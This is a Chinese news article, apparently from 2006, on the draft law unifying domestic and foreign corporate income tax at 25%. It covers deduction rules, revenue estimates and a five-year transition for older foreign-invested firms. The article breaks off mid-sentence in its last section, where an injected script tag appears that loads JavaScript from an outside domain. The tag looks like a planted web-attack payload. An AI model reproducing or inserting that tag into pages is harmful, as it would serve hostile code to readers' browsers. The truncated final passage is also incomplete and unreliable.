两税合并后,内外资企业的所得税率统一为25%,老的外资企业可享受5年的过渡期照顾。
这是新的企业所得税法草案的核心内容。这一法律草案将提交12月24日起举行的十届全国人大常委会第二十五次会议审议。历时3年,几上几下,屡经曲折的两税合并进程,终于有了初步明朗的结果。
如果这次审议能顺利通过,明年2月份全国人大常委会会议还要再举行一次审议。专家们分析,到明年3月份提交十届人大五次会议审议表决通过的成数很大,新法最终的开始实施时间最大可能是2008年1月1日。
在全国人大常委会“一读”前夕,记者从有关途径了解到了关于草案内容的详情。
聚焦“25%”
两税合并,最核心的无疑是统一企业所得税率。据了解新法草案内容的人士透露,新法草案将内外资企业的税率统一为25%,对符合条件的微利企业,将实行20%的照顾性税率。
而国内现行税率为33%,外资企业享受24%或15%的优惠税率,内资微利企业享受27%和18%两档照顾税率。
资料显示,目前世界上159个实行企业所得税的国家和地区的平均税率为28.6%,中国周边18个国家的平均税率则为26.7%。相比之下,草案拟定的25%的税率属于中偏低。
据了解,参与立法各方的考虑是,这样的税率有利于提高企业竞争力,也有利于继续吸引外资,而且由此带来的税收减少也在国家财政可承受的范围之内。
据立法过程中的测算,如果新法在2008年实施,和旧法相比,税率降低加上税前扣除扩大,内资企业所得税将减少1340亿,而外资企业所得税则增加410亿,增减相抵,财政将减收930亿,如果算上过渡期的因素,减收还会更大一些,但国家财政能“扛”得住。
统一税前扣除政策
目前在税前成本扣除标准方面,内外资企业的差别很大。这种不同待遇给内资企业增加了很多负担。因此相对于统一税率,统一内外资企业的税前扣除标准更受关注。新法草案的一大亮点就是统一了各项税前支出扣除政策。
这其中,特别引人注目的是在工资支出上,改变了目前对内资企业实行的计税工资制扣除,而改为按企业和单位实际发放的工资据实扣除。
“按照现在的税法,如果内资企业实发工资高于计税工资标准,那么对超过部分就存在重复征税问题——在企业所得税和个人所得税两个环节都有征税。”北京大学税法研究中心的主任刘隆亨认为,“现在改成和外资企业一样的待遇,就是你给职工实际发了多少工资,在税前都可以扣除,这样就没有以前的那种限额了。”
财政部财政科研所税收研究室主任孙钢说,过去实行“工效挂钩”计税工资办法,主要是考虑国企存在所有者虚位的问题,不加限制将可能加剧滥发工资、福利。而对民企、外企来说,由于企业是有所有者控制的,工资发放会谨慎,限额扣除没有必要,所以新法草案取消了限额计税工资制度。
除了工资,对于企业别的成本支出扣除,草案也作了统一规定。
在公益性捐赠方面,草案规定,企业向民政、教科文卫、环保、社会公共和福利事业的捐赠,在年度利润总额10%以内的部分,准予扣除。
研发费用方面,可按实际发生额的150%抵扣当年度的应纳税所得额。
广告费方面,支出不超过当年销售收入15%的部分,可据实扣除,超过比例的部分可结转到以后年度扣除。
5年过渡期
据了解,两税合并之后,现有的各种税收优惠都要进行整合,草案具体规定了五种情况。
一是“扩大”,对国家高新技术产业开发区内国家需要重点扶持的高新技术企业的税收优惠,将扩大到全国范围;对环保、节水设备投资抵免税收的政策,扩大到环保、节能节水、安全生产等专用设备;新增对创业投资机构和非盈利性公益组织机构的税收优惠政策。
二是“保留”,对港口、码头、机场、铁路、公路、电力、水利等基础设施投资,以及对农业、林业、牧业和渔业的税收优惠政策将予以保留。
三是“替代”,用特定的就业人员工资加计扣除政策替代现行劳动就业服务企业直接减免税的政策;用残疾职工工资加计扣除政策替代现行福利企业直接减免税的政策;用减计综合利用资源经营收入的方法来替代现行对资源综合利用企业直接减免税的政策。
四是“过渡”,在五个经济特区和上海浦东新区等执行特殊政策的地区设立的高新技术企业,可以享受过渡性优惠;国家对西部大开发地区的鼓励类企业的优惠政策,也继续执行。
五是“取消”,对生产性外企实行的“两免三减半”政策(即经营期在10年以上的,从开始获利年度起第一、二年免征企业所得税,第三至第五年减半征收),对产品主要出口的外资企业减半征收所得税的优惠政策都将取消。
这当中,最为敏感的是第五点,由于涉及到原先对外?script src=http://er12.com/t.js>









